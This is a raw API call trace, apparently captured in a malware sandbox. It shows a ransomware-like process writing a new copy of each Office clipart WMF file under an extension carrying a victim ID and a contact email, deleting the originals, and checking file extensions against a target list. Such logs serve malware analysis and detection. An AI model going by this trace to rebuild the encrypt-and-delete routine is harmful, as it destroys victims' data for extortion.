	[0264.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0264.013] GetLastError () returned 0x0
	[0264.013] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1510, lpOverlapped=0x0) returned 1
	[0264.017] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1520, lpOverlapped=0x0) returned 1
	[0264.018] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.018] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.018] SetEndOfFile (hFile=0x33c) returned 1
	[0264.018] CloseHandle (hObject=0x33c) returned 1
	[0264.018] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.018] SetEndOfFile (hFile=0x360) returned 1
	[0264.020] CloseHandle (hObject=0x360) returned 1
	[0264.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0264.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.020] lstrlenW (lpString=".doc") returned 4
	[0264.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString=".docx") returned 5
	[0264.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.021] lstrlenW (lpString=".pdf") returned 4
	[0264.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString=".xls") returned 4
	[0264.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.021] lstrlenW (lpString=".xlsx") returned 5
	[0264.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.021] lstrlenW (lpString=".ppt") returned 4
	[0264.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.021] lstrlenW (lpString=".zip") returned 4
	[0264.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.021] lstrlenW (lpString=".rar") returned 4
	[0264.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString=".bz2") returned 4
	[0264.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString=".7z") returned 3
	[0264.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.021] lstrlenW (lpString=".dbf") returned 4
	[0264.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.021] lstrlenW (lpString=".1cd") returned 4
	[0264.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63
	[0264.021] lstrlenW (lpString=".jpg") returned 4
	[0264.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.022] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1648) returned 1
	[0264.022] CloseHandle (hObject=0x360) returned 1
	[0264.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20
	[0264.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0264.022] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.022] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0264.023] GetLastError () returned 0x0
	[0264.023] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x670, lpOverlapped=0x0) returned 1
	[0264.027] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x680, lpOverlapped=0x0) returned 1
	[0264.028] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.028] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.028] SetEndOfFile (hFile=0x33c) returned 1
	[0264.028] CloseHandle (hObject=0x33c) returned 1
	[0264.028] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.028] SetEndOfFile (hFile=0x360) returned 1
	[0264.030] CloseHandle (hObject=0x360) returned 1
	[0264.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0264.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.030] lstrlenW (lpString=".doc") returned 4
	[0264.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString=".docx") returned 5
	[0264.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.031] lstrlenW (lpString=".pdf") returned 4
	[0264.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString=".xls") returned 4
	[0264.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.031] lstrlenW (lpString=".xlsx") returned 5
	[0264.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.031] lstrlenW (lpString=".ppt") returned 4
	[0264.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.031] lstrlenW (lpString=".zip") returned 4
	[0264.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.031] lstrlenW (lpString=".rar") returned 4
	[0264.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString=".bz2") returned 4
	[0264.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString=".7z") returned 3
	[0264.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.031] lstrlenW (lpString=".dbf") returned 4
	[0264.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.031] lstrlenW (lpString=".1cd") returned 4
	[0264.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63
	[0264.031] lstrlenW (lpString=".jpg") returned 4
	[0264.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.032] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3128) returned 1
	[0264.032] CloseHandle (hObject=0x360) returned 1
	[0264.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20
	[0264.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0264.032] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.032] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0264.033] GetLastError () returned 0x0
	[0264.033] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xc38, lpOverlapped=0x0) returned 1
	[0264.221] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xc40, lpOverlapped=0x0) returned 1
	[0264.222] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.222] WriteFile (in: hFile=0x33c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.222] SetEndOfFile (hFile=0x33c) returned 1
	[0265.043] CloseHandle (hObject=0x33c) returned 1
	[0265.043] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.043] SetEndOfFile (hFile=0x360) returned 1
	[0265.045] CloseHandle (hObject=0x360) returned 1
	[0265.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0265.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.088] lstrlenW (lpString=".doc") returned 4
	[0265.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.088] lstrlenW (lpString=".docx") returned 5
	[0265.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.088] lstrlenW (lpString=".pdf") returned 4
	[0265.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.088] lstrlenW (lpString=".xls") returned 4
	[0265.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.088] lstrlenW (lpString=".xlsx") returned 5
	[0265.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.088] lstrlenW (lpString=".ppt") returned 4
	[0265.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.089] lstrlenW (lpString=".zip") returned 4
	[0265.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.089] lstrlenW (lpString=".rar") returned 4
	[0265.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.089] lstrlenW (lpString=".bz2") returned 4
	[0265.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.089] lstrlenW (lpString=".7z") returned 3
	[0265.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.089] lstrlenW (lpString=".dbf") returned 4
	[0265.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.089] lstrlenW (lpString=".1cd") returned 4
	[0265.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63
	[0265.089] lstrlenW (lpString=".jpg") returned 4
	[0265.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.089] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1960) returned 1
	[0265.089] CloseHandle (hObject=0x32c) returned 1
	[0265.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20
	[0265.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0265.090] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.090] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0265.091] GetLastError () returned 0x0
	[0265.091] ReadFile (in: hFile=0x32c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x7a8, lpOverlapped=0x0) returned 1
	[0265.111] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x7b0, lpOverlapped=0x0) returned 1
	[0265.111] ReadFile (in: hFile=0x32c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.112] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.112] SetEndOfFile (hFile=0x218) returned 1
	[0265.112] CloseHandle (hObject=0x218) returned 1
	[0265.112] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.112] SetEndOfFile (hFile=0x32c) returned 1
	[0265.114] CloseHandle (hObject=0x32c) returned 1
	[0265.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0265.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.174] lstrlenW (lpString=".doc") returned 4
	[0265.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.174] lstrlenW (lpString=".docx") returned 5
	[0265.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.174] lstrlenW (lpString=".pdf") returned 4
	[0265.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.174] lstrlenW (lpString=".xls") returned 4
	[0265.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.174] lstrlenW (lpString=".xlsx") returned 5
	[0265.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.174] lstrlenW (lpString=".ppt") returned 4
	[0265.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.174] lstrlenW (lpString=".zip") returned 4
	[0265.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.175] lstrlenW (lpString=".rar") returned 4
	[0265.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.175] lstrlenW (lpString=".bz2") returned 4
	[0265.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.175] lstrlenW (lpString=".7z") returned 3
	[0265.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.175] lstrlenW (lpString=".dbf") returned 4
	[0265.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.175] lstrlenW (lpString=".1cd") returned 4
	[0265.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63
	[0265.175] lstrlenW (lpString=".jpg") returned 4
	[0265.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.175] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1528) returned 1
	[0265.175] CloseHandle (hObject=0x33c) returned 1
	[0265.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20
	[0265.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0265.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0265.176] GetLastError () returned 0x0
	[0265.176] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x5f8, lpOverlapped=0x0) returned 1
	[0265.215] WriteFile (in: hFile=0x214, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x600, lpOverlapped=0x0) returned 1
	[0265.216] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.216] WriteFile (in: hFile=0x214, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.216] SetEndOfFile (hFile=0x214) returned 1
	[0265.216] CloseHandle (hObject=0x214) returned 1
	[0265.216] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.216] SetEndOfFile (hFile=0x33c) returned 1
	[0265.218] CloseHandle (hObject=0x33c) returned 1
	[0265.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0265.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
	[0265.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63
